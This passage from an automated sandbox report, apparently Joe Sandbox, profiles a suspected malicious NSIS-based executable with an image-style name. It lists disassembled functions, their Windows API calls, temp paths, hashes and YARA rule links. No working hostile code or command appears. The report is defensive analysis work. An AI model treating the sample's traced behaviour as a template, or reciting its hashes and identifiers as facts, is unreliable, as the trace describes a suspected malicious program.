GetShortPathNameA.KERNEL32(?,0042C218,00000400), ref: 00405F30

Part of subcall function 00405D85: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FE0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D95
Part of subcall function 00405D85: lstrlenA.KERNEL32(00000000,?,00000000,00405FE0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405DC7

GetShortPathNameA.KERNEL32(?,0042C618,00000400), ref: 00405F4D
wsprintfA.USER32 ref: 00405F6B
GetFileSize.KERNEL32(00000000,00000000,0042C618,C0000000,00000004,0042C618,?,?,?,?,?), ref: 00405FA6
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405FB5
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FED
SetFilePointer.KERNEL32(0040A3D0,00000000,00000000,00000000,00000000,0042BE18,00000000,-0000000A,0040A3D0,00000000,[Rename],00000000,00000000,00000000), ref: 00406043
GlobalFree.KERNEL32(00000000), ref: 00406054
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040605B

Part of subcall function 00405E20: GetFileAttributesA.KERNELBASE(00000003,00402F71,C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,80000000,00000003,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00405E24
Part of subcall function 00405E20: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00405E46

Strings

[Rename], xrefs: 00405FD5, 00405FE7
%s=%s, xrefs: 00405F61

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %s=%s$[Rename]
API String ID: 2171350718-1727408572
Opcode ID: 569be3a98da05520ad95d37df462ccc6378b119762144e883bf0616c118c920a
Instruction ID: da8ce3bfdf00fcfed17b5edaf8d9799a0bf0ff3a482d4f6cc2fc7d52a36fe9c3
Opcode Fuzzy Hash: 569be3a98da05520ad95d37df462ccc6378b119762144e883bf0616c118c920a
Instruction Fuzzy Hash: 3D3135312407117BC220AB65AC88F6B3A5CDF41758F16003BFA02F72D2DE7C98558ABD

Function 00406587 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(0000000C,*?|<>/":,00000000,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",004033B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008,0000000A,0000000C), ref: 004065DF
CharNextA.USER32(0000000C,0000000C,0000000C,00000000,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",004033B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008,0000000A,0000000C), ref: 004065EC
CharNextA.USER32(0000000C,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",004033B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008,0000000A,0000000C), ref: 004065F1
CharPrevA.USER32(0000000C,0000000C,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",004033B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008,0000000A,0000000C), ref: 00406601

Strings

"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe", xrefs: 00406587
C:\Users\user\AppData\Local\Temp\, xrefs: 00406588
*?|<>/":, xrefs: 004065CF

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3907812296
Opcode ID: 5d1a13f5f6d1e26a5c928a636a6cd85ce9cfe8cb66a926baf99f252f8cb630c3
Instruction ID: 9f335943bb0e62a209881404c60ffb6aa99012b8199ff17f999404b9432e9d26
Opcode Fuzzy Hash: 5d1a13f5f6d1e26a5c928a636a6cd85ce9cfe8cb66a926baf99f252f8cb630c3
Instruction Fuzzy Hash: 871104618053923DFB3216282C44B777F894F97760F1A007FE5C2722C6CA7C5C62966D

Function 00404394 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 004043B1
GetSysColor.USER32(00000000), ref: 004043EF
SetTextColor.GDI32(?,00000000), ref: 004043FB
SetBkMode.GDI32(?,?), ref: 00404407
GetSysColor.USER32(?), ref: 0040441A
SetBkColor.GDI32(?,?), ref: 0040442A
DeleteObject.GDI32(?), ref: 00404444
CreateBrushIndirect.GDI32(?), ref: 0040444E

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 8c62cc7b680d0f9fb00056791eeffc6cd2931fdceedc16941688e7b217811201
Instruction ID: 0cb6da092899fbd89936ee00678fc1211e2f1892718b1dfe439ae8b372ce6297
Opcode Fuzzy Hash: 8c62cc7b680d0f9fb00056791eeffc6cd2931fdceedc16941688e7b217811201
Instruction Fuzzy Hash: E32177715007049BCF309F78D948B577BF8AF81714B04893DEAA6B26E1C734E948CB58

Function 6E332568 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 6E3312A5: GlobalAlloc.KERNEL32(00000040,6E3312C3,?,6E33135F,-6E33504B,6E3311C0,-000000A0), ref: 6E3312AD

GlobalFree.KERNEL32(?), ref: 6E33266E
GlobalFree.KERNEL32(00000000), ref: 6E3326A8

Memory Dump Source

Source File: 00000000.00000002.2088083079.000000006E331000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E330000, based on PE: true

Associated: 00000000.00000002.2088011783.000000006E330000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088098769.000000006E334000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088118015.000000006E336000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e330000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: aca5422771294a2e1036fb03e742c7feb447de5c784a973711a5aeb0ce06efdb
Instruction ID: 54450067e11ce11a8faaf95cede9cdd3485276710862e85872462c5c2fa7a1eb
Opcode Fuzzy Hash: aca5422771294a2e1036fb03e742c7feb447de5c784a973711a5aeb0ce06efdb
Instruction Fuzzy Hash: B941C0716086D5EFDB118F94DE94C6AB7BEFF86304B314969F54087210C7769C09CBA1

Function 00404C80 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404C9B
GetMessagePos.USER32 ref: 00404CA3
ScreenToClient.USER32(?,?), ref: 00404CBD
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404CCF
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404CF5

Strings

f, xrefs: 00404CD1

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: fbe7a9a9d251da3c9c448e6b1369ef84c2200939816a620fb3ee489aa4668e2c
Instruction ID: 8ac1eb656b69e247d5f05692bef4687e0c0d70a1275d834663b2b8f38aac2a1a
Opcode Fuzzy Hash: fbe7a9a9d251da3c9c448e6b1369ef84c2200939816a620fb3ee489aa4668e2c
Instruction Fuzzy Hash: B6019E71900218BAEB00DB94DD81FFFBBBCAF44711F10012BBA01B61C0C7B899418BA4

Function 00402E4A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E65
MulDiv.KERNEL32(000B2A08,00000064,000B2A0C), ref: 00402E90
wsprintfA.USER32 ref: 00402EA0
SetWindowTextA.USER32(?,?), ref: 00402EB0
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402EC2

Strings

verifying installer: %d%%, xrefs: 00402E9A

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 008e47a76e30b834da19422bd6ea308201e4826492d01be12a9765c28616dd6c
Instruction ID: 08bf30aeaad7c3c0f985f8b81484beb4ade113f1463dbf8d033ac048ea6a4a00
Opcode Fuzzy Hash: 008e47a76e30b834da19422bd6ea308201e4826492d01be12a9765c28616dd6c
Instruction Fuzzy Hash: EF016270640208FBEF209F60DE09EEE3769AB10304F008039FA06B51E1DBB89D56CF99

Function 6E332381 Relevance: 9.1, APIs: 6, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6E3324D7

Part of subcall function 6E3312B4: lstrcpynA.KERNEL32(00000000,?,6E33135F,-6E33504B,6E3311C0,-000000A0), ref: 6E3312C4

GlobalAlloc.KERNEL32(00000040,?), ref: 6E332452
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 6E332467
GlobalAlloc.KERNEL32(00000040,00000010), ref: 6E332478
CLSIDFromString.OLE32(00000000,00000000), ref: 6E332486
GlobalFree.KERNEL32(00000000), ref: 6E33248D

Memory Dump Source

Source File: 00000000.00000002.2088083079.000000006E331000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E330000, based on PE: true

Associated: 00000000.00000002.2088011783.000000006E330000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088098769.000000006E334000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088118015.000000006E336000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e330000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: a10f79709475f75dc8293d47663b953e50b66edd1ffe92d967b64a05286aab27
Instruction ID: e8a0a02fecd06f57a166540b0b9f6712a80b9509380207d1da88f06a2aeb7a69
Opcode Fuzzy Hash: a10f79709475f75dc8293d47663b953e50b66edd1ffe92d967b64a05286aab27
Instruction Fuzzy Hash: 9141DFB15083A1EFD7209FA59A40F6AB3FCFB41321F30895AE545CB581D7719848CBE1

Function 0040280D Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 0040286E
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040288A
GlobalFree.KERNEL32(?), ref: 004028C9
GlobalFree.KERNEL32(00000000), ref: 004028DC
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004028F8
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 0040290B

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: f2f5004db618060fe317ee0d1003544e1a2fa323f5e59acd3a511c365c814511
Instruction ID: f5f6ffd272893f167dd8362f30c9a288e23aa0477cfe19fc00766ec7197ba147
Opcode Fuzzy Hash: f2f5004db618060fe317ee0d1003544e1a2fa323f5e59acd3a511c365c814511
Instruction Fuzzy Hash: EA319E32C00124BBEF216FA5CE48D9E7A79EF04364F10823AF554B72E1CB7949419FA8

Function 6E3318C7 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6E331923
GlobalFree.KERNEL32(?), ref: 6E331ABA
GlobalFree.KERNEL32(?), ref: 6E331ABF

Memory Dump Source

Source File: 00000000.00000002.2088083079.000000006E331000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E330000, based on PE: true

Associated: 00000000.00000002.2088011783.000000006E330000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088098769.000000006E334000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088118015.000000006E336000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e330000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 313cc75bc5cb4defdd71d2434965b61503c6e200aca8aff80ecdd4e946ce39e5
Instruction ID: a3fe46814e2d06911c91349e486ae4646317809226ae8a83e246974b0602189e
Opcode Fuzzy Hash: 313cc75bc5cb4defdd71d2434965b61503c6e200aca8aff80ecdd4e946ce39e5
Instruction Fuzzy Hash: DE51E632D141FAAEDB508FF98540DBDBBB9AF46356F30456AE450A3104C632DA8987A1

Function 00402D60 Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402DB4
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402E00
RegCloseKey.ADVAPI32(?,?,?), ref: 00402E09
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402E20
RegCloseKey.ADVAPI32(?,?,?), ref: 00402E2B

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 4661eebe429a67a82503d6c58fda4df65fcd6975792f18fdfa4e9bc5c49253fc
Instruction ID: 6dce0a33df475c695949d28520f5422678f12aee2cc84e9e423a55bf09ef2c56
Opcode Fuzzy Hash: 4661eebe429a67a82503d6c58fda4df65fcd6975792f18fdfa4e9bc5c49253fc
Instruction Fuzzy Hash: 3B215C7250010CBBDF129F90CE89EEF7B6DEB44344F100076FA15B11A0E7B48F54AAA8

Function 00401D8A Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401DA3
GetClientRect.USER32(?,?), ref: 00401DF1
LoadImageA.USER32(?,?,?,?,?,?), ref: 00401E21
SendMessageA.USER32(?,00000172,?,00000000), ref: 00401E35
DeleteObject.GDI32(00000000), ref: 00401E45

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: e1d6a9ee3c5b7c1e8a311aee8a429abf799163a7f8b121a70cc01e31e7316f78
Instruction ID: fce380eb4141a570f491a0e518fb8aa8e4aa376f46a8457bbd9b5af61eb39f7b
Opcode Fuzzy Hash: e1d6a9ee3c5b7c1e8a311aee8a429abf799163a7f8b121a70cc01e31e7316f78
Instruction Fuzzy Hash: AE210A72E00509AFDF15DF94DD45AAEBBB6FB48300F10407AF505F62A1CB389941DB58

Function 00401E5A Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E5D
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E77
MulDiv.KERNEL32(00000000,00000000), ref: 00401E7F
ReleaseDC.USER32(?,00000000), ref: 00401E90
CreateFontIndirectA.GDI32(0040B830), ref: 00401EDF

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 0466c2d66d8f018793a5193256bc33b363c7409b941099693a26df1913abae86
Instruction ID: 3235dfa2473664f3223cdf9cba53c0ab50ba273bd9661b34cbd5463b8b999ac8
Opcode Fuzzy Hash: 0466c2d66d8f018793a5193256bc33b363c7409b941099693a26df1913abae86
Instruction Fuzzy Hash: FE017572504344AFE7107B60AE49B9E3FF8E715701F10897AF181B62F2CB7800058B6D

Function 00404B76 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0042A488,0042A488,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404A91,000000DF,00000000,00000400,?), ref: 00404C14
wsprintfA.USER32 ref: 00404C1C
SetDlgItemTextA.USER32(?,0042A488), ref: 00404C2F

Strings

%u.%u%s%s, xrefs: 00404BFE

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 27895e53cc41a390800bf12e600d2f981ced9c779fa51419b0a61958e7e4186c
Instruction ID: 5f9a4297b7b6a3636d8a8bee3f83e4b2b5f26aab9c0b753bab98504590b6652f
Opcode Fuzzy Hash: 27895e53cc41a390800bf12e600d2f981ced9c779fa51419b0a61958e7e4186c
Instruction Fuzzy Hash: BE110A73A041243BEB0065AD9C45FAE3698DB85374F250237FE26F61D1EA78DC1281E9

Function 00405D0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040628D: lstrcpynA.KERNEL32(0000000C,0000000C,00000400,0040357B,0042E820,NSIS Error,?,00000008,0000000A,0000000C), ref: 0040629A

Part of subcall function 00405CB8: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,0000000C,00405D24,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405A6F,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"), ref: 00405CC6
Part of subcall function 00405CB8: CharNextA.USER32(00000000), ref: 00405CCB
Part of subcall function 00405CB8: CharNextA.USER32(00000000), ref: 00405CDF

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsb535E.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405A6F,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"), ref: 00405D60
GetFileAttributesA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405A6F,?,74DF3410,C:\Users\user\AppData\Local\Temp\), ref: 00405D70

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405D0D
C:\Users\user\AppData\Local\Temp\nsb535E.tmp, xrefs: 00405D13, 00405D18, 00405D1E, 00405D59, 00405D5F, 00405D67, 00405D6F

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
